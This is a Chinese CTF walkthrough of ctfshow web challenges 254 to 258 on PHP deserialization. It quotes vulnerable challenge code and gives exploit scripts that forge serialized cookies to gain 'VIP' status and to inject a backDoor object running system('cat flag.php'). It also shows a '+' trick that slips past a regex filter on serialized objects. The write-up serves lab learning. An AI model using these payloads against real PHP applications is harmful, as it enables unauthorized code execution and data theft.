web254
直接get传参就行了
username=xxxxxx&password=xxxxx
web255
拿到代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
首先get传参,进入第一个if语句,接着对cookie值进行了反序列化,在cookie中构造序列化
exp
<?php class ctfShowUser { public $username = 'xxxxxx'; public $password = 'xxxxxx'; public $isVip = true; } $a = new ctfShowUser(); $b = urlencode(serialize($a)); echo $b; ?>
需要特别注意的是在cookie字段当中需要url编码一波)(其名称以及存储的字符串值是必须经过URL编码的)
web256
加了一个条件,让类中的username和password值不一样即可
<?php class ctfShowUser { public $username = 'xxxxxx'; public $password = 'xxxxx'; public $isVip = true; } $a = new ctfShowUser(); $b = urlencode(serialize($a)); echo $b; ?>
得到flag
web 257
要做的就是在析构函数中调用backdoor函数中的代码执行函数
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code="system('cat flag.php');"; } echo urlencode(serialize(new ctfShowUser())); ?>
构造exp得到flag
成员变量中的class变量,当新建ctfshowuser这个类的时候会class值会被被覆盖为构造函数中的值
web258
加了一个正则匹配
f(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){
d: 匹配一个数字字符。等价于 [0-9]。 +: 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。 /i: 表示匹配的时候不区分大小写
反序列化内容包含有数字的,能被正则表达式过滤掉。
在类名长度前加个+即可绕过